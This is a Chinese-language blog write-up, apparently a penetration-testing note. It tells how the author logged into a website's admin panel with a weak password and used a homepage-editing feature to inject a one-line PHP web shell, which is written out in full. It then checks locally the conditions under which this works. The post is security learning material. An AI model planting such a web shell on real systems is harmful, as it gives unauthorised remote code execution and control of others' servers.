弱口令上传shell_关于js拿shell的尝试

以前在测试一个网站的时候,大佬提供了一个拿shell的思路,通过js拿到了shell。

当时的情况是这样的,首页为*****/bin/home.php,通过弱口令进入后台,后台所有上传等可以拿shell的路都被阻止了,当时有一个可以控制前端页面的功能点

901948e8c874048d26139bc1699c9b08.png

凭上面的解释就可以看出来,这个是可以通过这里来修改首页内容的,这里仅仅做一个小演示

5107e43e13d56d3cc86a5ca49caa1fa4.png

83ec687b05c9c579697b72b8be5561a9.png

可以发现js的代码是可以成功执行的,就可以通过了这个方法来拿shell了,因为js的language参数是可以支持其他的语言的执行的,具体的可以自己去尝试,这里我们使用的是

<script language=php>@eval($_POST['web']);script>

我在本地进行一次测试,就可以展现出效果了

d678756a6ed62acc4f38e6dfd3e021e8.png

89656f949d50c2ff95da73461ca5cde5.png

当时只是知道了这个方法,并没有对这个进行深入的了解,今天抽了点时间对这个重新进行了一次复盘

这个方法的利用条件的限制比较严格,必须要求被改变的位置是php文件,当时还是很懵的,并不知道为什么可以这样操作,所以我重新确定了一遍可以利用的条件点,看图就可以明白了。

fun.php 这个是数据库的调用

a5d76839cb268839274448c67a80fe56.png

test.php

c1ed3bd2e73cb1f77a720eb48432686a.png

df183014619c5f35cbdd70df7e5a7e54.png

5db760647dbf3351d004109ae551e9f0.png

test1.php

f20393e242dd5eab38e9db007c47e9cb.png

b68eb264c6bfb0c8a2b1e6641f514810.png

test.html

90bb283cac7ad6d9b670d46d8f40924d.png

387f07fe555a81e837fc157fae71171d.png

好了,利用条件已经很明确了,必须要php下确实存在的才可以被利用,这个方法可用完全是因为php支持html的原因,也算是多一个方法了,php7移除该方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值